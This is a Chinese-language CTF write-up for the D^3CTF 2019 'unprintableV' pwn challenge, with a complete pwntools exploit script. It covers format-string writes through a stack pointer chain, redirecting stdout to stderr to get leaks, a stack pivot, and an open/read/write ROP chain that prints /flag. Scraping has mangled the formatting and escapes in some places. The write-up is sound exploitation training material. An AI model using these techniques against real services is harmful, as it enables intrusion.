unprintableV

  • A+
所属分类:CTF专场

Challenge

  • 题目:unprintable

  • 类型:pwnable

  • 来源:D^3CTF 2019 Quals

  • 环境:Ubuntu 18.04

  • 难度:Medium


Analysis

照旧先看一下保护,emmm。

gdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : ENABLEDRELRO     : FULL

载入IDA查看,Sandbox_Loading限制了execve,就是不能getshell了呗。然后menu里先给了stack的地址,有n次触发漏洞函数。同时,关闭了stdout,这意味着我们不再能leak。

void __cdecl menu(){  char *a; // [rsp+8h] [rbp-8h]
a = buf; puts("welcome to d^3CTF!"); printf("here is my gift: %pn", &a); puts("may you enjoy my printf test!"); close(1); while ( strncmp(buf, "d^3CTF", 6uLL) && time ) vuln();}
void __cdecl vuln(){ read(0, buf, 0x12CuLL); printf(buf); --time;}

输入在bss段,常规的fsb利用技巧似乎不太行。既然有0x64次,我们接下来考虑写什么。注意到0x7fffffffe350有一个很好的链,这是rbp链,它存在多级指针,可以利用这个链来帮助我们改写栈上的内容,而0x7fffffffe368包含bss段的指针。因此我们可以通过0008指针写0040的最低位为0x68,进而通过0040指针写0032的最低位为0x20。

00080x7fffffffe350 --> 0x7fffffffe370 --> 0x7fffffffe390 --> 0x555555554b60 (push   r15)0016| 0x7fffffffe358 --> 0x555555554afb (mov    edx,0x6)..0032| 0x7fffffffe368 --> 0x555555756060 ("%104c%6$hhn")0040| 0x7fffffffe370 --> 0x7fffffffe390 --> 0x555555554b60 (push   r15)00480x7fffffffe378 --> 0x555555554b51 (mov    eax,0x0)0056| 0x7fffffffe380 --> 0x7fffffffe478 --> 0x7fffffffe6dc ("./unprintableV")

为什么改bss的那个指针,因为我们想把它指向stdout,并把它的最低两个字节改为stderr的地址,那么我们通过stderr就可以泄漏了。

0x555555756020: 0x00007ffff7dd0760      0x00000000000000000x555555756030: 0x00007ffff7dcfa00      0x00000000000000000x555555756040: 0x00007ffff7dd0680      0x0000000000000000

接下来,就可以leak了,我们很容易就可以把code base和libc base泄漏出来。事实上,我们利用上面提到的rbp链可以任意改写栈上的内容了,为了简单一些,我们可以逐字节写menu的返回地址,改成pop rsp,那么0056位置就要改成bss,做一个栈迁移,迁到我们输入的payload地方。

0048| 0x7fffffffe378 --> 0x555555554b51 (mov    eax,0x0)0056| 0x7fffffffe380 --> 0x7fffffffe478 --> 0x7fffffffe6dc ("./unprintableV")

接下来就是普通的rop了,可以通过mprotect改写bss的权限,也可以直接open、read、write读文件了。


Solution

完整利用脚本如下。

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
r = process('./unprintableV')r.recvuntil('here is my gift: ')stack = int(r.recv(14), 16)log.info(hex(stack))
def write_byte(off, val): p = '' p += '%{}c%6$hhn'.format(off) r.send(p + 'x00') sleep(0.1)
p = '' p += '%{}c%10$hhn'.format(val) r.send(p + 'x00') sleep(0.1)
write_byte(stack&0xff, 0x20)
p = ''p += '%{}c%9$hn'.format(0x680)r.send(p + 'x00')sleep(0.1)
r.sendline('%p.%3$p' + 'x00'*0x30)
r.recvuntil('0x')code = int(r.recv(12), 16) - 0x202060log.info(hex(code))
r.recvuntil('0x')libc = int(r.recv(12), 16) - 0x110081log.info(hex(libc))
write_byte((stack + 0x18)&0xff, (code + 0x202060) & 0xff)write_byte((stack + 0x19)&0xff, (code + 0x202060) >> 8 & 0xff)write_byte((stack + 0x1a)&0xff, (code + 0x202060) >> 16 & 0xff)write_byte((stack + 0x1b)&0xff, (code + 0x202060) >> 24 & 0xff)write_byte((stack + 0x1c)&0xff, (code + 0x202060) >> 32 & 0xff)write_byte((stack + 0x1d)&0xff, (code + 0x202060) >> 40 & 0xff)write_byte((stack + 0x10)&0xff, 0xbd)
p = ''p += 'd^3CTF'p = p.ljust(0x18, 'x00')p += p64(libc + 0x2155f) # pop rdip += p64(code + 0x202060 + 0x120)p += p64(libc + 0x001306d9) # pop rdx; pop rsip += p64(0)p += p64(0)p += p64(libc + 0x10FC40) # openp += p64(libc + 0x2155f) # pop rdip += p64(1)p += p64(libc + 0x001306d9) # pop rdx; pop rsip += p64(0x40)p += p64(code + 0x202200)p += p64(libc + 0x110070) # readp += p64(libc + 0x2155f) # pop rdip += p64(2)p += p64(libc + 0x001306d9) # pop rdx; pop rsip += p64(0x40)p += p64(code + 0x202200)p += p64(libc + 0x110140) # writep = p.ljust(0x120, 'x00')p += '/flagx00'
assert len(p) <= 0x12c
r.send(p)
r.recvuntil('d^3CTF')
r.interactive()






原文始发于微信公众号(pwnable):unprintableV

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: